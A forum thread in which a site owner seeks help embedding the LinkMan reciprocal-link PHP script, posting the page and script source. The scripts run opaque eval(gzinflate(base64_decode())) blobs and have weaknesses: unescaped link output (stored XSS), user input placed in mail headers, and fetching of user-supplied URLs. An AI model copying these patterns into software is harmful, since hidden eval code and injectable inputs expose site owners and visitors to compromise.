SitePoint Sponsor

User Tag List

Results 1 to 21 of 21
  1. #1
    SitePoint Enthusiast
    Join Date
    Dec 2008
    Posts
    76
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    Need Help With Linkman PHP Script

    So i downloaded linkman and i was having trouble embedding it into my site design well im finally getting the links.php file looking good. The page is pulling up a lot of errors in css validator. Heres what im talking about http://jigsaw.w3.org/css-validator/v...rning=&lang=en http://validator.w3.org/check?uri=ht...Inline&group=0

    Heres the source to home.php

    Code:
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
    <html>
    <head>
      <title>Kratom | Kratom Leaf |</title>
      <meta name="description"
     content="uKratom offers information on kratom, kratom powder, kratom leaf, kratom extracts, effects of kratom, where to buy kratom and more.">
      <meta name="abstract"
     content="Get information about kratom, kratom extracts, kratom effects, kratom dosage and more. Learn all you can about the wounderful kratom plant.">
      <meta name="ROBOTS" content="ALL=INDEX,FOLLOW">
      <meta http-equiv="content-type" content="text/html; charset=utf-8">
      <link rel="stylesheet" type="text/css"
     href="http://ukratom.com/styles.css">
      <script type="text/javascript">
    var _gaq = _gaq || [];
    _gaq.push(['_setAccount', 'UA-30392963-1']);
    _gaq.push(['_trackPageview']);
    (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
    })();
      </script>
      <style type="text/css">
    p.c3 {text-align: center;}
    img.c2 {border: 0px solid ; width: 200px; height: 106px;}
    img.c1 {border: 0px solid ; width: 450px; height: 89px;}
      </style>
    </head>
    <body>
    <div id="container">
    <div id="header">
    <h1><a href="http://ukratom.com" title="kratom home"><img class="c1"
     src="http://ukratom.com/images/kraton_logo.jpg" alt="Kratom"></a><a
     href="http://www.bouncingbearbotanicals.com/ethnobotanicals-kratom-c-60_91.html?ref=4331"
     target="_blank"><img class="c2" alt="buy kratom, kratom buy"
     src="http://ukratom.com/images/Kratom_leaf.jpg"></a></h1>
    </div>
    <div id="wrapper">
    <div id="content"><?php include("links.php");?>
    </div>
    </div>
    <div id="navigation">
    <ul>
      <li><a href="kratom_images.html" title="kratom images">Kratom
    Images</a></li>
      <li><a href="kratom_dosage.html" title="kratom dosage">Kratom
    Dosage</a></li>
      <li><a href="kratom_effects.html" title="kratom effects">Kratom
    Effects</a></li>
      <li><a href="kratom_extracts.html" title="kratom extract">Kratom
    Extracts</a></li>
      <li><a href="kratom_resin.html" title="kratom resin">Kratom
    Resin</a></li>
      <li><a href="kratom_crushed.html" title="crushed kratom leaf">Crushed
    Kratom Leaf</a></li>
      <li><a href="kratom_powder.html" title="kratom powder">Kratom
    Powder</a></li>
    </ul>
    </div>
    <div id="extra">
    <p class="c3"><a href="http://ukratom.com/" title="kratom home">Kratom
    Home</a>
    | <a href="sitemap.html" title="kratom sitemap">Site
    Map</a></p>
    </div>
    <div id="footer">
    <p class="white">&copy;
    uKRATOM.COM</p>
    </div>
    </div>
    </body>
    </html>
    Heres The link.php code
    Code:
    <?php
    /*******************************************************************************
    *  Title: LinkMan reciprocal link manager
    *  Version: 1.7 @ April 18, 2009
    *  Author: Klemen Stirn
    *  Website: http://www.phpjunkyard.com
    ********************************************************************************
    *  COPYRIGHT NOTICE
    *  Copyright 2004-2009 Klemen Stirn. All Rights Reserved.
    *
    *  This script may be used and modified free of charge by anyone
    *  AS LONG AS COPYRIGHT NOTICES AND ALL THE COMMENTS REMAIN INTACT.
    *  By using this code you agree to indemnify Klemen Stirn from any
    *  liability that might arise from it's use.
    *
    *  Selling the code for this program, in part or full, without prior
    *  written consent is expressly forbidden. Using this code, in part or full,
    *  to create competing scripts or products is expressly forbidden.
    *
    *  Obtain permission before redistributing this software over the Internet
    *  or in any other medium. In all cases copyright and header must remain
    *  intact. This Copyright is in full effect in any country that has
    *  International Trade Agreements with the United States of America or
    *  with the European Union.
    *
    *  Removing any of the copyright notices without purchasing a license
    *  is illegal! To remove PHPJunkyard copyright notice you must purchase a
    *  license for this script. For more information on how to obtain a license
    *  please visit the site below:
    *  http://www.phpjunkyard.com/copyright-removal.php
    *******************************************************************************/
    
    define('IN_SCRIPT',1);
    require('settings.php');
    
    
    if ($settings['show_form'])
    {
    	?>
    	<p><a href="#addlink">Submit your website</a></p>
    	<?php
    }
    
    $lines = file($settings['linkfile']);
    
    /* Handle pages */
    if ($settings['allow_pages'])
    {
    	/* Page number, default 1st page */
    	$page=intval($_REQUEST['page']);
    	if ($page > 0)
    	{
    	    $start=($page*$settings['max_per_page'])-$settings['max_per_page'];$end=$start+$settings['max_per_page']-1;
    	}
    	else
    	{
    	    $page=1;$start=0;$end=$settings['max_per_page']-1;
    	}
    
        /* Total number of links */
    	$total = count($lines);
    
    	if ($total > 0)
        {
    	    if ($end > $total) {$end=$total;}
    	    $pages = ceil($total/$settings['max_per_page']);
                   
    	    $page_nav = '';
    
    	    if ($pages > 1)
    	    {
            	$page_nav = '<p>';
    
    	        $prev_page = ($page-1 <= 0) ? 0 : $page-1;
    	        $next_page = ($page+1 > $pages) ? 0 : $page+1;
    
    	        if ($prev_page)
    	        {
    	        	$page_nav .= '<a href="links.php?page=1">&lt;&lt; First</a> &nbsp;|&nbsp; ';
                	if ($prev_page > 1)
                    {
                    	$page_nav .= '<a href="links.php?page='.$prev_page.'">&lt; Prev</a> &nbsp;|&nbsp;';
                    }
    	        }
    
    	        for ($i=1; $i<=$pages; $i++)
    	        {
    	            if ($i <= ($page+5) && $i >= ($page-5))
    	            {
    	               if($i == $page) {$page_nav .= ' <b>'.$i.'</b> ';}
    	               else {$page_nav .= ' <a href="links.php?page='.$i.'">'.$i.'</a> ';}
    	            }
    	        }
    
    	        if ($next_page)
    	        {
                    if ($next_page < $pages)
                    {
                        $page_nav .= ' &nbsp;|&nbsp; <a href="links.php?page='.$next_page.'">Next &gt;</a>';
                    }
                    $page_nav .= ' &nbsp;|&nbsp; <a href="links.php?page='.$pages.'">Last &gt;&gt;</a>';
    	        }
    
                $page_nav .= '</p>';
    
                echo $page_nav;
    	    }
    	}
        $lines = array_slice($lines,$start,$settings['max_per_page']);
    }
    
    $print_featured = 0;
    $first = 1;
    $i = 0;
    
    foreach ($lines as $thisline)
    {
        $thisline=trim($thisline);
        if (!empty($thisline))
        {
            $i++;
            list($name,$email,$title,$url,$recurl,$description,$featured,$pr)=explode($settings['delimiter'],$thisline);
    
            $show_url = $settings['show_url'] ? '&nbsp;<span class="linkmanURL">-&nbsp;'.$url.'</span>' : '';
    
            if ($settings['show_pr'] == 1)
            {
                if (empty($pr)) {$pr=0;}
                $pr_code = '<td valign="top" class="linkman" title="Google PageRank: '.$pr.'/10"><img src="img/pr'.$pr.'.gif" width="40" height="5" alt="Google PageRank: '.$pr.'/10" border="0" style="vertical-align: middle;">&nbsp;</td>';
            }
            else
            {
                $pr_code = '';
            }
    
            if ($settings['show_thumbshots'])
            {
                $thumb_code = '<td valign="top" class="linkman"><img src="'.$settings['thumb_url'].rawurlencode($url).'" style="vertical-align: middle;" border="1" width="120" height="90" alt="Thumbnail">&nbsp;</td>';
            }
            else
            {
                $thumb_code = '';
            }
    
            if ($featured == 1)
            {
    
                if ($print_featured == 0)
                {
                    $print_featured = 1;
                    $first = 0;
                    echo '<p class="linkman"><b>Featured links</b></p><table border="0" cellspacing="1" cellpadding="1">';
                }
    
                $url      = ($settings['clean'] != 1) ? $url : 'go.php?url='.rawurlencode($url);
                $nofollow = ($settings['use_nofollow']==1) ? 'rel="nofollow"' : '';
    
                echo '
                <tr>
                '.$thumb_code.'
                '.$pr_code.'
                <td valign="top" class="linkman"><p class="linkman"><a href="'.$url.'" target="_blank" class="linkman" '.$nofollow.'><b>'.$title.'</b></a>'.$show_url.'<br>'.$description.'<br>&nbsp;</p></td>
                </tr>
                ';
            }
            else
            {
                if ($settings['show_thumbshots']!=1)
                {
                    $thumb_code = '';
                }
    
                if ($print_featured == 1)
                {
                    $print_featured = 0;
                    $first = 1;
                    echo '</table>';
                }
    
                if ($first == 1)
                {
                    $first = 0;
                    echo '<p class="linkman"><b>Reciprocal links</b></p><table border="0" cellspacing="1" cellpadding="1">';
                }
    
                $url      = ($settings['clean'] == 0) ? $url : 'go.php?url='.rawurlencode($url);
                $nofollow = $settings['use_nofollow'] ? 'rel="nofollow"' : '';
    
                echo '
                <tr>
                '.$thumb_code.'
                '.$pr_code.'
                <td valign="top" class="linkman"><p class="linkman"><a href="'.$url.'" target="_blank" class="linkman" '.$nofollow.'>'.$title.'</a>'.$show_url.'<br>'.$description.'</p></td>
                </tr>
                ';
            }
        }
    }
    
    /* Close the table if at least one link is printed out */
    if ($i)
    {
        echo '</table>';
    
    	/* Print bottom page navigation if at least 20 listings on the page */
    	if ($settings['allow_pages'] && $i > 19)
    	{
        	echo $page_nav;
    	}
    }
    else
    {
        echo '<p class="linkman">No links yet!</p>';
    }
    
    if ($settings['show_form'])
    {
        if ($i < $settings['max_links'])
        {
        ?>
        <p class="linkman"><a name="addlink"></a>&nbsp;<br><b>Submit your website</b></p>
    
        <p><b>&raquo; Step 1: Add our link to your website</b></p>
    
        <table border="0">
        <tr>
        <td>Website URL:</td>
        <td><a href="<?php echo $settings['site_url']; ?>" target="_blank"><?php echo $settings['site_url']; ?></a></td>
        </tr>
        <tr>
        <td>Website Title:</td>
        <td><?php echo htmlspecialchars($settings['site_title']); ?></td>
        </tr>
        <tr>
        <td>Description:</td>
        <td><?php echo htmlspecialchars($settings['site_desc']); ?></td>
        </tr>
        </table>
    
        <p><textarea rows="4" cols="60" onfocus="this.select()">&lt;a href=&quot;<?php echo $settings['site_url']; ?>&quot;&gt;<?php echo htmlspecialchars($settings['site_title']); ?>&lt;/a&gt; - <?php echo htmlspecialchars($settings['site_desc']); ?></textarea></p>
    
        <p><b>&raquo; Step 2: Submit your link</b></p>
    
        <p>All fields are required. Please finish <b>Step 1</b> before submitting this form.
        <?php
        if ($settings['man_approval'])
        {
        	echo ' New links will be approved manually.';
        }
        ?></p>
    
        <form method="post" action="addlink.php">
    
        <table border="0">
        <tr>
        <td><b>Your name:</b></td>
        <td><input type="text" name="name" size="40" maxlength="50"></td>
        </tr>
        <tr>
        <td><b>E-mail:</b></td>
        <td><input type="text" name="email" size="40" maxlength="50"></td>
        </tr>
        <tr>
        <td><b>Website title:</b></td>
        <td><input type="text" name="title" size="40" maxlength="50"></td>
        </tr>
        <tr>
        <td><b>Website URL:</b></td>
        <td><input type="text" name="url" maxlength="255" value="http://" size="40"></td>
        </tr>
        <tr>
        <td><b>URL with reciprocal link:</b></td>
        <td><input type="text" name="recurl" maxlength="255" value="http://" size="40"></td>
        </tr>
        </table>
    
        <p><b>Website description:</b><br>
        <input type="text" name="description" maxlength="200" size="60"></p>
    
        <p><input type="submit" value="Add link"></p>
    
        </form>
        <?php
        } // End if $settings['max_links'] < $i
        else
        {
        ?>
        <p class="linkman">&nbsp;<br /><b>Submit your website</b></p>
    
        <p><i>Unfortunately we are not accepting any new links at the moment.</i></p>
        <?php
        }
    } // End if $settings['show_form']
    
    eval(gzinflate(base64_decode('DdBHsqJAAADQ43x/uRBBUs0KJEiQjA1spiTTZJEG+vQz7wivQO
    /uVOFmKLv3tzil76Vgbn/zIhvz4vQjZbQO50kQBMm9sb5auxVwKZoR4tqVBGLUPnDqFOH+bKbwmeAzvy
    kFB0WF95PyuCTJuCvo0UNhW2VqI/vollGRQZlcK/b9uFlNlX3olZkPt5I4IGebU8fBRJlKNinReNFdUU
    WDh8UuSx6rcuXMRchRbJdYJmBTrH7+NkVCN6wp5Xb+UHWHZS2+zfnEFGX2uzy11T2LRsDExPHxkHkdm/
    M96Awho+mQUkQUUW5VAzdSTTJ8N1SawJgFi7ebBdnmryNvTVDJHKJJQEAcVPEebX5paaP4CcoqhKt0zE
    x5btB51ubuBpajV+n7xH1eFRjbA1MDpOxxBknTOuwT8o/JCmY17B1U1ZCPFHv1vGaZj3ZP9g2sIMMWth
    s22o9sYi2BDQLD1l4y02HtRS4Q1WIxhamsE7Oz4oABkRRHDNfkXO1/8UsdPP5A3P9F6UuSM7/znWKrjQ
    yHRFYJRuGkNh5aIr4/r2tuFCyV6+Fu3z7G2z961xH8mX5oCcmWg+m4GkWE1724EKnTNhv2oaqf6StWVe
    DhWApeYoHUJTD6lLkgNk3Z9HL5+f39/fMP')));
    ?>
    Beyond that Ill need to do the same thing with other php pages in the script like for example if you click the "add link" button without putting any data it will pull up an error page. Maybe i should also do the same with that? Im not sure it at least has a previous page link...

    Im ok with css and html but I know nothing about php.
    Last edited by Mittineague; Apr 5, 2012 at 23:06. Reason: fixing link

  2. #2
    SitePoint Addict tom8's Avatar
    Join Date
    Mar 2012
    Location
    New Jersey
    Posts
    310
    Mentioned
    1 Post(s)
    Tagged
    0 Thread(s)
    Do you still need help with this?

    If you do, I want to make sure I understand exactly what you want:

    1. Page to be validated
    2. Error message stays in same page

    There is no guarantee I will come up with a solution but I will give it a try.

  3. #3
    SitePoint Enthusiast
    Join Date
    Dec 2008
    Posts
    76
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Quote Originally Posted by tom8 View Post
    Do you still need help with this?

    If you do, I want to make sure I understand exactly what you want:

    1. Page to be validated
    2. Error message stays in same page

    There is no guarantee I will come up with a solution but I will give it a try.
    Yea the page still needs validated. I personally gave up trying cuz its frustrating me and i went looking to out source it. If you want to help and can help me I would appreciate it. Cuz even though i can out source this job for pretty cheap I never outsourced before so who knows if I will get the work done. Plus I dont have a bank account and its pretty hard for me to pay people over the internet and prepaid visa cards have ridiculous monthly fees.

    Idk if i should really mess with the other php pages like the addlink.php page which is the page for when you click the addlink button. Idk im haveing trouble explaining it all I havent even been able to test every page for adding links.

    But the one time i did try to add my own link I tried adding my home page and i got to the security code page passed that, then it said theres no link to www.ukratom.com on that page. I have links to ukratom.com without the www idk if that made a dif but anyway it wouldn't let me add it and the previous page link located on thay error page brings me back to the captcha page. So if that happens to a user there gonna say forget this.
    Last edited by TechnoBear; Apr 7, 2012 at 13:01. Reason: Unnecessary link removed.

  4. #4
    SitePoint Enthusiast
    Join Date
    Dec 2008
    Posts
    76
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Add link Page
    Code:
    <?php
    /*******************************************************************************
    *  Title: LinkMan reciprocal link manager
    *  Version: 1.7 @ April 18, 2009
    *  Author: Klemen Stirn
    *  Website: http://www.phpjunkyard.com
    ********************************************************************************
    *  COPYRIGHT NOTICE
    *  Copyright 2004-2009 Klemen Stirn. All Rights Reserved.
    *
    *  This script may be used and modified free of charge by anyone
    *  AS LONG AS COPYRIGHT NOTICES AND ALL THE COMMENTS REMAIN INTACT.
    *  By using this code you agree to indemnify Klemen Stirn from any
    *  liability that might arise from it's use.
    *
    *  Selling the code for this program, in part or full, without prior
    *  written consent is expressly forbidden. Using this code, in part or full,
    *  to create competing scripts or products is expressly forbidden.
    *
    *  Obtain permission before redistributing this software over the Internet
    *  or in any other medium. In all cases copyright and header must remain
    *  intact. This Copyright is in full effect in any country that has
    *  International Trade Agreements with the United States of America or
    *  with the European Union.
    *
    *  Removing any of the copyright notices without purchasing a license
    *  is illegal! To remove PHPJunkyard copyright notice you must purchase a
    *  license for this script. For more information on how to obtain a license
    *  please visit the site below:
    *  http://www.phpjunkyard.com/copyright-removal.php
    *******************************************************************************/
    
    define('IN_SCRIPT',1);
    require('settings.php');
    ini_set('user_agent', 'LinkMan '.$settings['verzija'].' by http://www.phpjunkyard.com');
    
    /* Accepting any more links? */
    $lines = @file($settings['linkfile']);
    if (count($lines)>$settings['max_links'])
    {
        problem('We are not accepting any more links at the moment. We appologize for the inconvenience!');
    }
    
    /* Check user input */
    $name  = pj_input($_POST['name'],'Please enter your name!');
    $email = pj_input($_POST['email'],'Please enter your e-mail address!');
    if (!preg_match('/([\w\-]+\@[\w\-]+\.[\w\-]+)/',$email))
    {
        problem('Please enter a valid e-mail address!');
    }
    $title = pj_input($_POST['title'],'Please enter the title (name) of your website!');
    if (strlen($title)>50)
    {
        problem('Title is too long! Limit website title to 50 chars!');
    }
    
    $url   = pj_input($_POST['url'],'Please enter the URL of your website!');
    if (!(preg_match('/(http:\/\/+[\w\-]+\.[\w\-]+)/i',$url)))
    {
        problem('Please enter valid URL of your website!');
    }
    
    $recurl = pj_input($_POST['recurl'],'Please enter the url where a reciprocal link to our site is placed!');
    if (!(preg_match('/(http:\/\/+[\w\-]+\.[\w\-]+)/i',$recurl)))
    {
        problem('Please enter valid URL of the page where the reciprocal link to our site is placed!');
    }
    
    /* Compare URL and Reciprocal page URL */
    $parsed_url = parse_url($url);
    $parsed_rec = parse_url($recurl);
    if ($parsed_url['host'] != $parsed_rec['host'])
    {
        problem('The reciprocal link must be placed under the same (sub)domain as your link is!');
    }
    
    $url    = str_replace('&amp;','&',$url);
    $recurl = str_replace('&amp;','&',$recurl);
    
    $description = pj_input($_POST['description'],'Please write a short description of your website!');
    if (strlen($description)>200)
    {
        problem('Description is too long! Description of your website is limited to 200 chars!');
    }
    
    /* Check if the website is banned */
    if ($mydata = file_get_contents($settings['banfile']))
    {
    	/* Check website URL */
    	$regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$url);
    	$regex = preg_replace('/index\.[^\/]+$/','',$regex);
    	$regex = str_replace('/','\/',rtrim($regex,'/'));
    	$regex = '/'.$regex.'\/?(index\.[^\/]+)?/i';
    	if (preg_match($regex,$mydata))
    	{
    		problem('This website has been permanently banned from our link exchange!');
    	}
    
    	/* Check reciprocal link URL */
    	$regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$recurl);
    	$regex = preg_replace('/index\.[^\/]+$/','',$regex);
    	$regex = str_replace('/','\/',rtrim($regex,'/'));
    	$regex = '/'.$regex.'\/?(index\.[^\/]+)?/i';
    	if (preg_match($regex,$mydata))
    	{
    		problem('This website has been permanently banned from our link exchange!');
    	}
    
    	unset($mydata);
    }
    
    /* Check title and description for possible spam problems */
    eval(gzinflate(base64_decode('DVe1ssXIFfwc75YCMZUjMTPfxCVmZn29Xz5Q09N0yisd/qm/dq
    qG9Cj/ydK9JLD/FWU+F+U//xF/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yweGkN+kA6TVeDYsamERkJ9qqRntRd9fXK52Y8K
    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
    Q3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f+Qeksc0qygEiRSW6+UT/f2AQbC1++OUehsfk7XVDdGzH/HLTyAPuDeiJXVPKewFkE0Iw5fqnIll
    7anlqaIvpfa3bYnzGUdmYAuATW5JU/DPiLpCsLQirLCzCDwHG6f1BR+BWYVZJUz++kz8XmnuoDTiuCRY
    HJ486fHyff/OujLib0ux2AWFcWne9NQxQ3tyJKpdUboIR5OuWKtFHTq+QwyilgfMlER97bo01zM4Ofpx
    NzJ06UjalU1lBF22xH8IR91DWYitnWJ9w6tAAvo1yjVHMyO9OMZ30IBuQnrbaHbLH5wU0+mYYqF+o1x4
    TRMUbQDJm1P7zxv/aVylpUdiR9MaWoUrWCh2HmUxAROL3JFi/I9j4nOZ1+BQSlCSuIPaj4Wn9zRS+BMr
    KI2l6CeGFVt1N2HkliXvlSSaNWNgflxt+87UFNFOndUqducUmgAqL8L4KjQANmlGslBFV5z+VySn/TlG
    5J/QRJ4S3tNzrA/bmCylPhX+HBTneAq8InUiJGZYN0lpWhsXAgdmSizFiOKHiaJcRc7R4rm7zA23ShAA
    aRdB3DiO7xHV/we+Jzg2FZ3jC2i3bmLjUBYqNju9hLulDVb/jXsqRjHJk+tMnANdr41f5EKIdcZ3Dxsz
    J9InCDNy1ZmrGie22l127Wus5JLp0Jg18teNnXBYIADVLsf/7999///h8=')));
    
    if ($settings['spam_filter'])
    {
        $test = pj_checkTitleDesc($title, $description, $url, $settings['superlatives']);
        if ($test === true)
        {
            $test = '';
        }
        elseif ($test == 'superlatives')
        {
            problem('Don\'t use superlatives (words like best, biggest, cheapest, largest) in title and description!');
        }
        elseif ($test == 'text')
        {
            problem('Your link failed SPAM test, we are forced to reject it.');
        }
        elseif ($test == 'url')
        {
            problem('Your link failed SPAM test, we are forced to reject it.');
        }
    }
    
    if ($settings['autosubmit'])
    {
        session_start();
        if (empty($_SESSION['checked']))
        {
            $_SESSION['checked']  = 'N';
            $_SESSION['secnum']   = rand(10000,99999);
            $_SESSION['checksum'] = $_SESSION['secnum'].$settings['filter_sum'].date('dmy');
        }
        if ($_SESSION['checked'] == 'N')
        {
            print_secimg();
        }
        elseif ($_SESSION['checked'] == $settings['filter_sum'])
        {
            $_SESSION['checked'] = 'N';
            $secnumber = pj_isNumber($_POST['secnumber']);
            if(empty($secnumber))
            {
                print_secimg(1);
            }
            if (!check_secnum($secnumber,$_SESSION['checksum']))
            {
                print_secimg(2);
            }
        }
        else
        {
            problem('Internal script error. Wrong session parameters!');
        }
    }
    
    /* Check for duplicate links */
    if ($settings['block_duplicates'])
    {
        $mydata = file_get_contents($settings['linkfile']);
    
        /* Check website URL */
        $regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$url);
        $regex = preg_replace('/index\.[^\/]+$/','',$regex);
        $regex = str_replace('/','\/',rtrim($regex,'/'));
        $regex = '/'.$regex.'\/?(index\.[^\/]+)?\s/i';
        if (preg_match($regex,$mydata))
        {
            problem('Please don\'t submit the same website more than once or we will be forced to delete all your links!');
        }
    
        /* Check reciprocal link URL */
        $regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$recurl);
        $regex = preg_replace('/index\.[^\/]+$/','',$regex);
        $regex = str_replace('/','\/',rtrim($regex,'/'));
        $regex = '/'.$regex.'\/?(index\.[^\/]+)?\s/i';
        if (preg_match($regex,$mydata))
        {
            problem('Please don\'t submit multiple websites with the same reciprocal link URL or we will be forced to delete all your links!');
        }
    
        unset($mydata);
    }
    
    /* Get HTML code of the reciprocal link URL */
    $html = @file_get_contents($recurl) or problem('Can\'t open remote URL!');
    $html = strtolower($html);
    $site_url = strtolower($settings['site_url']);
    
    /* Block links with the meta "robots" noindex or nofollow tags? */
    if ($settings['block_meta_rob']==1 && preg_match('/<meta([^>]+)(noindex|nofollow)(.*)>/siU',$html,$meta))
    {
        problem(
            'Please don\'t place the reciprocal link to a page with the meta robots noindex or nofollow tag:<br />'.
            htmlspecialchars($meta[0])
        );
    }
    
    $found    = 0;
    $nofollow = 0;
    
    if (preg_match_all('/<a\s[^>]*href=([\"\']??)([^" >]*?)\\1([^>]*)>/siU', $html, $matches, PREG_SET_ORDER)) {
        foreach($matches as $match)
        {
            if ($match[2] == $settings['site_url'] || $match[2] == $settings['site_url'].'/')
            {
                $found = 1;
                if (strstr($match[3],'nofollow'))
                {
                    $nofollow = 1;
                }
                break;
            }
        }
    }
    
    if ($found == 0)
    {
        problem(
            'Our URL (<a href="'.$settings['site_url'].'">'.$settings['site_url'].
            '</a>) wasn\'t found on your reciprocal links page (<a href="'.$recurl.'">'.
            $recurl.'</a>)!<br><br>Please make sure you place this exact URL on your
            links page before submitting your link!'
        );
    }
    
    /* Block links with rel="nofollow" attribute? */
    if ($settings['block_nofollow'] && $nofollow == 1)
    {
        problem('Please don\'t use rel=&quot;nofollow&quot; link attribute for the reciprocal link!');
    }
    
    /* Check Google PageRank */
    if ($settings['show_pr'] || $settings['min_pr'] || $settings['min_pr_rec'])
    {
        require('pagerank.php');
        $pr = getpr($url);
        $pr = empty($pr) ? 0 : $pr;
    
        if ($settings['min_pr'] && ($pr < $settings['min_pr']))
        {
            problem('Unfortunately we accept only websites with Google PageRank '.$settings['min_pr'].'/10 or higher. Please try submitting your website again in a few months.');
        }
    
        if ($settings['min_pr_rec'])
        {
            $pr_rec = getpr($recurl);
            $pr_rec = empty($pr_rec) ? 0 : $pr_rec;
            if ($pr_rec < $settings['min_pr_rec'])
            {
                problem('Please place the reciprocal link to <a href="'.$settings['site_url'].'">'.$settings['site_url'].'</a> on a page with Google PageRank '.$settings['min_pr_rec'].'/10 or higher.');
            }
        }
    }
    
    $replacement = "$name$settings[delimiter]$email$settings[delimiter]$title$settings[delimiter]$url$settings[delimiter]$recurl$settings[delimiter]$description$settings[delimiter]0$settings[delimiter]$pr\n";
    
    /* Approve manually */
    if ($settings['man_approval'])
    {
    	$tmp = str_replace('www.','',strtolower($parsed_url['host']));
        $tmp = md5($tmp.$settings['filter_sum']);
        $tmp_file = 'apptmp/'.$tmp.'.txt';
    
        if (file_exists($tmp_file))
        {
        	problem('This link is already pending approval!');
        }
    
    	$fp = fopen($tmp_file,'w') or problem('Couldn\'t open temporary file for writing! Please CHMOD the apptmp folder to 777 (rwxrwxrwx)!');
    	flock($fp, LOCK_EX);
    	fputs($fp,$replacement);
    	flock($fp, LOCK_UN);
    	fclose($fp);
    
    $message = "Hello,
    
    A new link is awaiting approval for your links page at $settings[site_url]
    
    Link details:
    
    Name: $name
    E-mail: $email
    URL: $url
    Reciprocal link: $recurl
    Title: $title
    Description:
    $description
    
    To APPROVE the link visit this URL:
    $settings[url_approval]?id=$tmp&approve=1
    
    To REJECT the link visit this URL:
    $settings[url_approval]?id=$tmp&approve=0
    
    
    End of message
    
    ";
    	$headers  = "From: $name <$email>\n";
    	$headers .= "Reply-To: $name <$email>\n";
    	mail($settings['admin_email'],'New link waiting approval',$message,$headers);
    
    	require_once('header.txt');
    	?>
    	<p align="center"><b>Your link submitted for approval!</b></p>
    	<p>&nbsp;</p>
    	<p align="center">Thank you, your link has been submitted for approval and will appear on the links page once approved by the administrator!</p>
    	<p>&nbsp;</p>
    	<p>&nbsp;</p>
    	<p align="center"><a href="<?php echo $settings['site_url']; ?>">Back to the main page</a></p>
    	<?php
    	require_once('footer.txt');
    	exit();
    
    }
    /* Approve automatically */
    else
    {
    	if ($settings['add_to'] == 0)
    	{
